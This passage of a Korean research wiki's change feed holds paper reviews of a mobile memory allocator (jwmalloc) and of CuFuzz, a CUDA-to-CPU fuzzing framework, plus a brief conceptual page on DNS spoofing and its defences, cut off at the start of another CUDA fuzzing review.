: free range의 나이뿐 아니라 향후 sibling과 coalesce될 가능성을 고려해 reclamation 순서를 정하고, 이를 active/standby 두 buffer만으로 근사하였다.&lt;br /&gt;
&lt;br /&gt;
; &#039;&#039;&#039;Non-Blocking Interface and Ownership Transfer&#039;&#039;&#039;&lt;br /&gt;
: shared allocator state에 대한 lock 경쟁이 발생하면 기다리지 않고, allocation은 다른 larger range를 임시로 이용하고 free는 deferred list로 미룸으로써 UI thread 등의 allocator-induced blocking을 방지하였다.&lt;br /&gt;
&lt;br /&gt;
; &#039;&#039;&#039;Bounded Verification under Weak Memory Models&#039;&#039;&#039;&lt;br /&gt;
: jwmalloc을 frontend/midend/backend의 library-style interface로 분리하고, cross-thread free, buffer drain, thread 생성·종료 등 edge case별 small concurrent client를 작성한다. [[VSync]] toolchain으로 각 client가 허용하는 weak-memory execution을 모두 탐색하여 assertion, memory safety, data-race absence, loop termination을 검사하였다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
&lt;br /&gt;
=== Workload characterization ===&lt;br /&gt;
=== Microbenchmarks ===&lt;br /&gt;
&lt;br /&gt;
* 4-core x86 server에서 mobile oversubscription을 모사하고 rptest, xmalloc, mstress, mleak를 실행했다. jwmalloc은 jemalloc보다 평균 74% 높은 performance와 약 82% 적은 allocator-side instruction을 보였다.&lt;br /&gt;
* Frontend만 jwmalloc로 바꾸고 jemalloc backend를 유지한 &#039;&#039;jw+jemalloc&#039;&#039;도 일부 test에서 크게 빨라져 uniform/pooling frontend의 독립적 효과를 보였다. Full jwmalloc의 rptest-8B-1MB-N에서는 jemalloc, mimalloc, tcmalloc의 allocator instruction이 각각 jwmalloc의 32.8×, 2.55×, 1.81×였다.&lt;br /&gt;
* Sleep-augmented mstress-10N에서 jwmalloc의 peak/steady footprint는 906MB/29MB였고 jemalloc은 968MB/376MB였다. &#039;&#039;jw+jemalloc&#039;&#039;의 footprint가 jemalloc과 비슷했다는 점은 steady-state 감소의 주된 원인이 backend 및 reclamation임을 지지한다.&lt;br /&gt;
* Heavy oversubscription인 mstress-10N에서 jwmalloc의 P99.99 operation latency는 1.5µs로, 가장 좋은 경쟁 allocator의 5.9µs보다 낮았다.&lt;br /&gt;
* 단, allocation 분포가 4KB 근처에 몰린 8B–4KB/10N 설정에서는 uniform slab의 의도적 tradeoff와 fallback work 때문에 일부 performance/load regression이 있었다.&lt;br /&gt;
&lt;br /&gt;
또한, microbenchmark의 allocator-side instruction 절감이 한 기기의 whole-system load와 CPU power 감소로 이어졌으며, 그 과정에서 jemalloc 대비 footprint가 악화되지 않았다는 것이 논문의 핵심 end-to-end evidence이다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
# 모바일 allocation workload를 profile하여 frequent reformatting, peak–trough swing, aggressive reclamation, oversubscription이라는 네 가지 allocator mismatch를 제시하였다.&lt;br /&gt;
# 화웨이 휴대폰 사용자를 대상으로 Mass-test를 진행하여서 Allocator가 효과적으로 성능 향상을 보임을 실증하였다.&lt;br /&gt;
&lt;br /&gt;
== [[Conclusion]] ==&lt;br /&gt;
본 연구는 모바일 환경에서의 Unique한 특성을 Memory allocator에 반영시킬때 어떠한 점을 고려해야 하고, 어떠한 디자인을 적용시킬 수 있는지 제시하였다. 그 결과 Jemalloc대비 훨씬 더 좋은 성능을 보였다. Allocator만 최적화하여 10%단위의 성능 향상을 꾀하기에는 매우 힘들기에, 제시한 디자인의 최적화가 매우 효과적임을 보여준다. 이 논문은 향후 Mobile에서 동작하는 Memory Allocator을 디자인함에 있어서 어떤 점을 고려해야 하고, 어떻게 검증해야 하는지 좋은 방향을 제기한 논문이라고 생각한다.&lt;br /&gt;
&lt;br /&gt;
=== Minor comments ===&lt;br /&gt;
# 섹션 2.2의 의도가 논문 전체에서 어떤 역활인지 모르겠다. Secure allocator가 모바일 환경에서 중요하지 않다는 정보가 갑자기 등장해서 굳이라는 생각이 들었다.&lt;br /&gt;
&lt;br /&gt;
=== Major comments ===&lt;br /&gt;
# 기존의 Size-class방식이 더 잘 작동하는 Workload가 어떤 것인지 제시되어 있지 않다. Size-class로 나누는 이유는 Metadata management의 용이성 + Long-runnning시의 Fragmentation관리 때문인데, 본 시스템이 Size-class를 없앰으로서 어떤 Cons를 가지는지 분석한 결과가 있었으면 더 Complete했을 듯 하다.&lt;br /&gt;
# 본 논문의 Motivation은 잘 알려진 부분이고, 또한 Design이 Collection of optimization이라는 점은, 본 논문의 Novelty측면에서 다른 Work들 대비 제한적이게 만드는 요소라고 생각한다. 그러나 Memory Allocator을 본 연구처럼 기존 대비 성능 향상을 10%단위로 보일정도로 최적화 하는 연구는 (1) 생각보다 매우 어렵고 (2) 필연적으로 Optimization work이라는 점을 고려하였을때, 중요한 Memory Allocator연구라고 생각한다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[분류:USENIX OSDI]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=%ED%8C%8C%EC%9D%BC:OSDI2026_jwmalloc_figure9.png&amp;diff=7157</id>
		<title>파일:OSDI2026 jwmalloc figure9.png</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=%ED%8C%8C%EC%9D%BC:OSDI2026_jwmalloc_figure9.png&amp;diff=7157"/>
		<updated>2026-09-02T02:55:13Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;OSDI2026_jwmalloc_figure9&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=CuFuzz:_Hardening_CUDA_Programs_through_Transformation_and_Fuzzing&amp;diff=7154</id>
		<title>CuFuzz: Hardening CUDA Programs through Transformation and Fuzzing</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=CuFuzz:_Hardening_CUDA_Programs_through_Transformation_and_Fuzzing&amp;diff=7154"/>
		<updated>2026-07-27T11:00:12Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: 새 문서: {{Paper |title=CuFuzz: Hardening CUDA Programs through Transformation and Fuzzing |author=Saurabh Singh, Ruobing Han, Jaewon Lee, Seonjin Na, Yonghae Kim, Taesoo Kim, Hyesoon Kim |conference=arXiv:2601.01048v1 [cs.CR] |year=2026 }}  == 개요 == 이 논문은 CUDA 프로그램이 GPU의 대규모 병렬 실행, 복잡한 메모리 계층, 부정확한 오류 보고 때문에 기존 CPU용 Fuzzing 도구의 혜택을 받기 어려운 문제를 다루며, GPU 코드를...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=CuFuzz: Hardening CUDA Programs through Transformation and Fuzzing&lt;br /&gt;
|author=Saurabh Singh, Ruobing Han, Jaewon Lee, Seonjin Na, Yonghae Kim, Taesoo Kim, Hyesoon Kim&lt;br /&gt;
|conference=arXiv:2601.01048v1 [cs.CR]&lt;br /&gt;
|year=2026&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 [[CUDA]] 프로그램이 [[GPU]]의 대규모 병렬 실행, 복잡한 메모리 계층, 부정확한 오류 보고 때문에 기존 CPU용 [[Fuzzing]] 도구의 혜택을 받기 어려운 문제를 다루며, GPU 코드를 CPU 코드로 변환하되 보안 버그와 관련된 메모리 접근을 보존하여 [[AFL++]]와 [[AddressSanitizer]]를 재사용하는 compiler-runtime co-design 도구 &#039;&#039;CuFuzz&#039;&#039;를 제안하였다.&lt;br /&gt;
&lt;br /&gt;
== Background ==&lt;br /&gt;
CUDA는 C/C++의 저수준 제어와 성능을 계승하지만 [[Buffer overflow]], [[Out-of-bounds access]], [[Use-after-free]] 같은 메모리 안전성 문제도 함께 계승한다. GPU에서는 global, local, shared memory가 서로 다른 수명과 가시성을 가지며, 수천 개의 thread가 [[SPMD]] 방식으로 실행된다. 또한 CPU의 segmentation fault와 같은 precise exception이 부족하여 잘못된 접근이 즉시 crash나 정확한 오류로 이어지지 않을 수 있다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
[[Coverage-guided fuzzing]]은 CPU 생태계에서 AFL++, AddressSanitizer와 결합해 대량의 입력을 실행하고 crash를 정확한 피드백으로 사용할 수 있다. 반면 GPU는 다음 이유로 같은 방법을 직접 적용하기 어렵다.&lt;br /&gt;
&lt;br /&gt;
# 대규모 thread/block hierarchy를 그대로 CPU에서 실행하면 한 입력의 실행 비용이 매우 커진다.&lt;br /&gt;
# global, local, shared memory와 CUDA 전용 API를 CPU의 메모리·실행 모델에 대응시켜야 한다.&lt;br /&gt;
# GPU의 오류 검출과 보고는 CPU보다 제한적이어서 fuzzing의 핵심 피드백인 crash를 놓칠 수 있다.&lt;br /&gt;
# 전용 GPU fuzzing infrastructure를 새로 구축하면 기존 CPU fuzzer, sanitizer, 서버 자원을 재사용하기 어렵다.&lt;br /&gt;
&lt;br /&gt;
따라서 GPU의 수치 출력을 완전히 재현하는 범용 migration보다, 메모리 버그를 드러내는 접근 행동을 보존하면서 높은 exec/sec를 얻는 fuzzing 전용 변환이 필요하다.&lt;br /&gt;
&lt;br /&gt;
== Importance ==&lt;br /&gt;
이 논문의 중요한 전환은 GPU-native detector를 새로 설계하는 대신, CUDA kernel의 bug-relevant behavior를 CPU 실행으로 옮겨 성숙한 CPU fuzzing·sanitizer 생태계를 활용한다는 점이다. 특히 fuzzing에는 완전한 numerical equivalence가 아니라 메모리 버그 보존이 핵심이라는 관찰을 optimization boundary로 삼는다.&lt;br /&gt;
&lt;br /&gt;
또한 저자들은 global/local/shared memory의 spatial·temporal 오류를 분류한 100개 test의 &#039;&#039;GMSBench&#039;&#039;를 제시한다. 이 분류와 도구별 coverage 비교는 CuFuzz 자체뿐 아니라 향후 GPU memory-safety detector를 비교하는 evaluation framework로도 재사용할 수 있다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
핵심 아이디어는 CUDA host/kernel code를 [[LLVM IR]] 수준에서 CPU-executable program으로 변환하고, 원래 GPU program의 메모리 공간과 접근을 CPU의 heap/stack 접근으로 대응시킨 뒤 AFL++와 CPU memory-error detector로 실행하는 것이다. 이때 kernel의 수치 결과까지 동일하게 유지하는 대신, memory access instruction과 그 index에 영향을 주는 계산을 보존하는 것을 fuzzing correctness의 기준으로 삼는다.&lt;br /&gt;
&lt;br /&gt;
변환만으로는 GPU의 수많은 thread를 CPU loop로 실행하는 비용이 너무 크다. CuFuzz는 affine access kernel에서 경계 thread/block만 우선 실행하는 &#039;&#039;Partial Representative Execution (PREX)&#039;&#039;과, memory-access index에 영향을 주지 않는 계산과 barrier를 제거하는 &#039;&#039;Access-Index Preserving Pruning (AXIPrune)&#039;&#039;으로 throughput을 높인다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
# &#039;&#039;&#039;cuf-cc compilation pipeline&#039;&#039;&#039;&lt;br /&gt;
#* &#039;&#039;Local problem&#039;&#039;: CUDA executable은 CPU에서 실행되는 host code와 GPU용 NVVM IR로 내려가는 kernel code를 함께 포함하므로 일반 CPU fuzzer가 kernel을 직접 instrument할 수 없다.&lt;br /&gt;
#* &#039;&#039;Mechanism&#039;&#039;: nvcc/clang의 drop-in replacement인 cuf-cc가 host-side LLVM IR와 kernel-side NVVM IR를 분리한 뒤 둘 다 x86_64 LLVM IR로 변환한다. Kernel function에는 AddressSanitizer annotation을 추가하고 AFL++의 branch-coverage instrumentation을 적용한다.&lt;br /&gt;
#* &#039;&#039;Effect and tradeoff&#039;&#039;: 기존 CPU fuzzing toolchain을 재사용할 수 있지만, 검출 가능한 버그의 범위는 선택한 CPU detector와 변환이 보존하는 semantics에 의존한다.&lt;br /&gt;
# &#039;&#039;&#039;PREX-Aware Collapsing Transform (PACT)&#039;&#039;&#039;&lt;br /&gt;
#* &#039;&#039;Local problem&#039;&#039;: GPU의 gridSize × blockSize thread를 CPU thread로 일대일 대응시키면 실행 비용이 지나치게 크다.&lt;br /&gt;
#* &#039;&#039;Mechanism&#039;&#039;: GPU block 하나를 CPU thread 하나에 매핑하고, block 내부 GPU thread는 loop iteration으로 직렬화한다. &amp;lt;code&amp;gt;__syncthreads()&amp;lt;/code&amp;gt; 전후는 별도 loop로 분할하며, barrier를 가로질러 살아 있는 local variable은 array로 확장한다. GPU global memory는 CPU heap으로, shared/local memory는 CPU stack으로 대응시킨다.&lt;br /&gt;
#* &#039;&#039;Invariant and tradeoff&#039;&#039;: 각 phase의 memory ordering과 memory-space별 overflow의 가시성을 보존하지만, GPU의 병렬 interleaving보다 더 강한 순서를 도입하고 barrier마다 loop와 array overhead가 생긴다.&lt;br /&gt;
# &#039;&#039;&#039;Partial Representative Execution (PREX)&#039;&#039;&#039;&lt;br /&gt;
#* &#039;&#039;Local problem&#039;&#039;: 변환 후에도 모든 block과 thread를 매 입력마다 실행하면 fuzzing throughput이 낮다.&lt;br /&gt;
#* &#039;&#039;Mechanism&#039;&#039;: compiler의 &#039;&#039;Affine Access Analysis&#039;&#039;가 memory index를 thread/block index의 affine function으로 표현할 수 있는지 판정한다. 조건문 밖의 affine access에 대해서는 첫/마지막 block의 첫/마지막 thread가 경계 OOB를 대표한다는 성질을 이용한다. 조건문이 있는 경우 runtime coverage monitor가 바깥쪽 block부터 점진적으로 추가하며 memory-access coverage가 완료되면 중단한다.&lt;br /&gt;
#* &#039;&#039;Invariant and tradeoff&#039;&#039;: affine-access kernel에서는 representative execution으로 작업량을 줄이고, non-affine kernel에서는 모든 block/thread 실행으로 fallback한다. 효율은 affine 판정과 coverage가 bug-relevant behavior를 충분히 대표한다는 가정에 달려 있다.&lt;br /&gt;
# &#039;&#039;&#039;Access-Index Preserving Pruning (AXIPrune)&#039;&#039;&#039;&lt;br /&gt;
#* &#039;&#039;Local problem&#039;&#039;: expensive math와 barrier가 CPU 변환 뒤 많은 계산, loop, auxiliary memory access를 만들지만 상당수는 memory bug 발생 위치와 무관하다.&lt;br /&gt;
#* &#039;&#039;Mechanism&#039;&#039;: data-dependence analysis로 branch condition이나 memory-access index에 영향을 주는 값을 추적한다. 관련 없는 math operation을 입력값 전달로 대체하고, shared-memory value가 branch/index에 영향을 주지 않으면 barrier를 제거한다.&lt;br /&gt;
#* &#039;&#039;Invariant and tradeoff&#039;&#039;: 원래 GPU program의 memory access와 index 관련 계산은 남기지만 numerical output equivalence는 의도적으로 포기한다. 따라서 일반 CUDA-to-CPU translator가 아니라 memory-bug fuzzing 전용 optimization이다.&lt;br /&gt;
# &#039;&#039;&#039;CuFuzz runtime&#039;&#039;&#039;&lt;br /&gt;
#* CUDA allocation/copy API의 CPU 구현과 thread pool을 제공하고, kernel launch를 번역된 function call로 바꾼다. Runtime library도 AddressSanitizer로 instrument한다. PREX mutator는 각 fuzzing iteration에서 실행할 block을 선택하고 coverage를 감시한다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
=== Error-detection coverage ===&lt;br /&gt;
저자들은 100개 test로 구성된 GMSBench에서 native CUDA와 여러 GPU/CPU detector의 검출 범위를 비교한다.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! 실행/검출 조합&lt;br /&gt;
! 검출 수&lt;br /&gt;
! Coverage&lt;br /&gt;
! 해석&lt;br /&gt;
|-&lt;br /&gt;
| Native CUDA&lt;br /&gt;
| 8/100&lt;br /&gt;
| 8%&lt;br /&gt;
| 별도 보호가 없을 때 allocator가 보고하는 일부 temporal error에 한정된다.&lt;br /&gt;
|-&lt;br /&gt;
| NVIDIA Compute Sanitizer&lt;br /&gt;
| 36/100&lt;br /&gt;
| 36%&lt;br /&gt;
| tripwire 방식이므로 buffer 경계를 넘어도 다른 유효 영역에 머무는 arbitrary read/write 등을 놓친다.&lt;br /&gt;
|-&lt;br /&gt;
| CuFuzz + AddressSanitizer&lt;br /&gt;
| 48/100&lt;br /&gt;
| 48%&lt;br /&gt;
| host와 kernel을 함께 검사할 수 있고 intra-allocation 일부를 찾지만, tripwire와 allocator 차이의 한계가 있다.&lt;br /&gt;
|-&lt;br /&gt;
| CuFuzz + No-Fat&lt;br /&gt;
| 91/100&lt;br /&gt;
| 91%&lt;br /&gt;
| exact base/bounds에 가까운 검사를 통해 가장 높은 coverage를 보이지만 dynamic shared-memory와 일부 allocator-mismatch case는 남는다.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
이는 GPU-to-CPU translation 자체보다 뒤에 결합하는 detector가 최종 bug coverage를 크게 좌우함을 보여 준다. 논문의 주 fuzzing campaign은 coverage가 더 높은 No-Fat이 아니라 AddressSanitizer를 사용했다.&lt;br /&gt;
&lt;br /&gt;
=== Fuzzing campaign ===&lt;br /&gt;
&lt;br /&gt;
HeteroMark, Rodinia, CUDA SDK에서 고른 14개 benchmark를 각각 12시간 동안 AFL++로 fuzzing했다. 각 benchmark에는 별도 fine-tuning 없이 seed file 하나를 주었고, AFLTriage로 결과를 deduplicate하였다. CuFuzz + AddressSanitizer는 총 &#039;&#039;&#039;122개 finding&#039;&#039;&#039;을 보고했으며 구성은 kernel crash 15개, host crash 40개, hang 67개이다.&lt;br /&gt;
&lt;br /&gt;
Kernel에서는 matmul, bfs, cfd, lud의 global-memory OOB read/write를, host에서는 aes, ga, pr, bfs의 heap-buffer overflow를 찾았다. cfd의 null-pointer dereference, ga와 ep에서 &amp;lt;code&amp;gt;memcpy()&amp;lt;/code&amp;gt;에 null pointer가 전달되는 경우, 여러 benchmark의 invalid allocation·integer overflow·argument-parser exception도 보고했다. 또한 malformed input의 0 값이 task-count 계산에서 division-by-zero를 일으키는 CuFuzz runtime 자체의 bug도 발견했다. 이 결과는 변환된 실행이 host와 kernel 양쪽의 crash/hang triage에 실용적인 피드백을 줄 수 있음을 보이지만, 122개 모두가 독립적으로 검증된 보안 취약점이라는 뜻은 아니다.&lt;br /&gt;
&lt;br /&gt;
=== Throughput ===&lt;br /&gt;
&lt;br /&gt;
100회 실행의 평균 exec/sec로 측정했을 때 PREX는 naïve translated baseline 대비 14개 중 12개 benchmark에서 성능을 높였고 평균 약 &#039;&#039;&#039;32×&#039;&#039;&#039;, affine access가 크고 thread 수가 많은 workload에서 최대 &#039;&#039;&#039;183×&#039;&#039;&#039; 향상을 보였다. pr과 bfs는 indirect access 때문에 non-affine으로 판정되어 partial execution의 이득이 없었다.&lt;br /&gt;
&lt;br /&gt;
PREX 적용 코드 위에서 AXIPrune은 평균 &#039;&#039;&#039;33%&#039;&#039;&#039;의 추가 throughput 향상을 냈다. 예를 들어 ep에서는 memory index와 무관한 exponential function 제거로 27% 향상되며, hist에서는 index와 무관한 barrier 및 변환이 만든 보조 접근을 줄인다. 두 optimization을 합친 최대 speedup은 naïve translation 대비 &#039;&#039;&#039;224.31×&#039;&#039;&#039;이다. 즉 PREX는 실행할 GPU thread/block 수를 줄이고 AXIPrune은 각 representative execution의 불필요한 instruction을 줄여 서로 다른 병목을 완화한다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
&lt;br /&gt;
# CUDA program을 CPU-executable LLVM IR로 변환하고 AFL++·CPU memory detector와 연결하는 end-to-end compiler-runtime co-design fuzzing framework를 제안하였다.&lt;br /&gt;
# Affine memory-access pattern을 이용해 representative block/thread를 선택하는 PREX와 access-index dependency를 보존하며 불필요한 연산을 제거하는 AXIPrune을 제안하였다.&lt;br /&gt;
# GPU global/local/shared memory의 spatial·temporal bug를 체계화한 100-test GMSBench와 detector coverage 비교를 제공하였다.&lt;br /&gt;
# 14개 CUDA benchmark의 12시간 campaign에서 122개 deduplicated crash/hang finding을 얻고, naïve translation 대비 평균 약 32× 및 최대 224.31×의 throughput 향상을 보였다.&lt;br /&gt;
&lt;br /&gt;
== Related Work Position ==&lt;br /&gt;
&lt;br /&gt;
CuFuzz는 [[AFL++]], [[AddressSanitizer]], libFuzzer 같은 CPU fuzzing infrastructure를 GPU program에 연결한다는 점에서 CPU-only fuzzer와 다르다. 기존 OpenCL kernel test generation은 mutation과 selective constraint solving을 결합했지만, CuFuzz는 CUDA 전체 program의 host/kernel translation과 sanitizer integration을 목표로 한다.&lt;br /&gt;
&lt;br /&gt;
GPU memory-safety 측면에서 [[NVIDIA Compute Sanitizer]], [[GPUShield]], CuCatch, GMOD는 GPU에서 직접 오류를 검출하거나 bounds protection을 제공한다. CuFuzz는 방어 메커니즘을 GPU에 배치하기보다 실행을 CPU로 옮겨 여러 CPU detector를 교체해 사용할 수 있게 한다. [[CuPBoP]]과 같은 GPU-to-CPU migration tool은 numerical correctness를 우선하지만, CuFuzz는 debugging symbol, fuzzing instrumentation, bug-oriented partial execution/pruning에 초점을 둔다.&lt;br /&gt;
&lt;br /&gt;
== Criticisms ==&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;변환이 보존하는 버그의 범위&#039;&#039;&#039;: PACT는 block 내부 thread를 loop로 직렬화하고 CPU heap/stack 및 allocator semantics를 사용한다. 따라서 data race, warp scheduling, weak memory ordering, asynchronous API behavior, GPU hardware/driver 고유 오류처럼 concurrency나 device semantics에 의존하는 취약점은 제거되거나 새롭게 생길 수 있다. 논문은 주로 memory-access safety를 다루며 이러한 bug class에 대한 preservation을 실험하지 않는다.&lt;br /&gt;
# &#039;&#039;&#039;PREX·AXIPrune의 가정&#039;&#039;&#039;: PREX의 강한 대표성 정리는 affine index와 조건문 밖의 access를 전제로 하고, 조건문은 runtime coverage로 완화한다. 그러나 memory-access instruction coverage가 모든 동적 index/state interaction을 대표하는지, AXIPrune의 dependency analysis가 pointer aliasing이나 복잡한 shared-memory dataflow에서도 bug-triggering behavior를 항상 보존하는지는 더 강한 검증이 필요하다.&lt;br /&gt;
# &#039;&#039;&#039;제한된 campaign&#039;&#039;&#039;: 평가는 세 benchmark suite의 14개 program, benchmark당 12시간, 한 hardware/software configuration에 한정된다. Production CUDA application, 반복 trial, variance, time-to-first-bug, coverage growth curve가 없어 대규모 실제 서비스에 대한 일반화와 fuzzing 효율의 통계적 안정성을 판단하기 어렵다.&lt;br /&gt;
# &#039;&#039;&#039;Finding과 vulnerability의 구분&#039;&#039;&#039;: 122개 finding에는 67개 hang과 malformed-input에 의한 allocation failure, exception, runtime bug가 포함된다. Patch, maintainer confirmation, exploitability analysis, CVE assignment가 제시되지 않으므로 이를 122개의 독립적·확정된 security vulnerability로 해석해서는 안 된다.&lt;br /&gt;
# &#039;&#039;&#039;Detector 및 baseline 비교&#039;&#039;&#039;: GMSBench에서 CuFuzz + AddressSanitizer coverage는 48%이고 CuFuzz + No-Fat은 91%이지만 실제 fuzzing campaign은 AddressSanitizer만 사용한다. 또한 GMOD, GPUShield, CuCatch, No-Fat의 일부 결과는 구현을 직접 실행한 것이 아니라 해당 논문의 설명을 바탕으로 추정했다. Performance baseline도 naïve CPU translation이므로 native GPU tool이나 다른 end-to-end GPU testing system과의 bug-finding cost 비교가 부족하다.&lt;br /&gt;
# &#039;&#039;&#039;재현성&#039;&#039;&#039;: 논문은 GMSBench를 공개할 예정이라고 표현하지만, 제공된 preprint만으로는 artifact availability, source revision, 전체 실행 script를 확인할 수 없다.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
이 연구는 CUDA fuzzing을 GPU-native 오류 보고의 문제로만 보지 않고, bug-relevant memory behavior를 CPU로 옮겨 성숙한 fuzzing·sanitizer infrastructure를 재사용하는 문제로 재구성한다. CuFuzz는 PACT, PREX, AXIPrune을 통해 이 변환의 실행 비용을 크게 줄이고 benchmark campaign에서 host/kernel crash와 hang을 실제로 수집할 수 있음을 보였다. 향후 GPU fuzzing 연구에서 기억할 핵심은 numerical equivalence보다 어떤 bug semantics를 보존할 것인지 명시하고, 그 보존 범위와 detector coverage를 함께 평가해야 한다는 점이다.&lt;br /&gt;
&lt;br /&gt;
[[분류: GPU Security]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=DNS_Spoofing&amp;diff=7153</id>
		<title>DNS Spoofing</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=DNS_Spoofing&amp;diff=7153"/>
		<updated>2026-07-15T03:20:44Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류:네트워크 보안]]&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
DNS 스푸핑, DNS Cache poisioning, 혹은 DNS Filtering(보통 긍정적 의미로 사용됨)은 변조된 [[DNS]]데이터가 DNS Cache에 주입되어서 [[Name server]]에 대한 쿼리 결과가 잘못된 결과 레코드를 반환하는 컴퓨터 해킹 방법이다. DNS Spoofing을 사용하면, 모든 트래픽이 공격자의 컴퓨터로 전환되어서 전송시킬 수 있다.&lt;br /&gt;
&lt;br /&gt;
== Attack ==&lt;br /&gt;
DNS는 사람이 읽을 수 있는 [[Domain]]을 서버의 [[IP]]주소로 변환시킨다. 컴퓨터는 이러한 번역을 속도를 위해서 캐싱하고 있다. 그러나 DNS서버가 잘봇된 변환을 수신하고 이를 캐시하면, 컴퓨터는 잘못된 IP로 접속하게 되어서, 트래픽을 다른 컴퓨터로 전환할 수 있다. DNS는 [[UDP]]위에서 포호받지 않고 전송되기 때문에, 이러한 공격에 취약하다.&lt;br /&gt;
&lt;br /&gt;
DNS공격을 박기 위해서 보안 DNS (DNSSEC)은 공개 키 인증방식을 통해서 암호화된 서명을 사용해 데이터의 진위 여부를 판별하지만, DNSSEC을 지원하지 않는 일반 DNS가 현재 많이 사용되고 있다. 또한 [[HTTPS]]와 같은 End-to-end 검증을 수행하면, 이러한 공격을 확인하고 예방할 수 있다.&lt;br /&gt;
&lt;br /&gt;
== 예시 ==&lt;br /&gt;
중국의 Greate fire wall은 잘못된 콘텐츠들을 예방?하기 위한 방법중 하나로, DNS Filtering을 사용한다. 중국의 DNS서버가 타국의 DNS서버보다 일반적으로 빨리 DNS Request를 날리기 때문에, 중국의 특정 도메인들은 DNS Filtering을 통해서 필터되는 경우가 있다.&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=DNS_Spoofing&amp;diff=7152</id>
		<title>DNS Spoofing</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=DNS_Spoofing&amp;diff=7152"/>
		<updated>2026-07-15T03:20:34Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[index.php?title=분류:네트워크 보안]]&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
DNS 스푸핑, DNS Cache poisioning, 혹은 DNS Filtering(보통 긍정적 의미로 사용됨)은 변조된 [[DNS]]데이터가 DNS Cache에 주입되어서 [[Name server]]에 대한 쿼리 결과가 잘못된 결과 레코드를 반환하는 컴퓨터 해킹 방법이다. DNS Spoofing을 사용하면, 모든 트래픽이 공격자의 컴퓨터로 전환되어서 전송시킬 수 있다.&lt;br /&gt;
&lt;br /&gt;
== Attack ==&lt;br /&gt;
DNS는 사람이 읽을 수 있는 [[Domain]]을 서버의 [[IP]]주소로 변환시킨다. 컴퓨터는 이러한 번역을 속도를 위해서 캐싱하고 있다. 그러나 DNS서버가 잘봇된 변환을 수신하고 이를 캐시하면, 컴퓨터는 잘못된 IP로 접속하게 되어서, 트래픽을 다른 컴퓨터로 전환할 수 있다. DNS는 [[UDP]]위에서 포호받지 않고 전송되기 때문에, 이러한 공격에 취약하다.&lt;br /&gt;
&lt;br /&gt;
DNS공격을 박기 위해서 보안 DNS (DNSSEC)은 공개 키 인증방식을 통해서 암호화된 서명을 사용해 데이터의 진위 여부를 판별하지만, DNSSEC을 지원하지 않는 일반 DNS가 현재 많이 사용되고 있다. 또한 [[HTTPS]]와 같은 End-to-end 검증을 수행하면, 이러한 공격을 확인하고 예방할 수 있다.&lt;br /&gt;
&lt;br /&gt;
== 예시 ==&lt;br /&gt;
중국의 Greate fire wall은 잘못된 콘텐츠들을 예방?하기 위한 방법중 하나로, DNS Filtering을 사용한다. 중국의 DNS서버가 타국의 DNS서버보다 일반적으로 빨리 DNS Request를 날리기 때문에, 중국의 특정 도메인들은 DNS Filtering을 통해서 필터되는 경우가 있다.&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=Hunting_CUDA_Bugs_at_Scale_with_cuFuzz&amp;diff=7151</id>
		<title>Hunting CUDA Bugs at Scale with cuFuzz</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=Hunting_CUDA_Bugs_at_Scale_with_cuFuzz&amp;diff=7151"/>
		<updated>2026-07-13T07:14:10Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=Hunting CUDA Bugs at Scale with cuFuzz&lt;br /&gt;
|author=Mohamed Tarek Ibn Ziad, Christos Kozyrakis&lt;br /&gt;
|conference=OOPSLA1&lt;br /&gt;
|year=2026&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
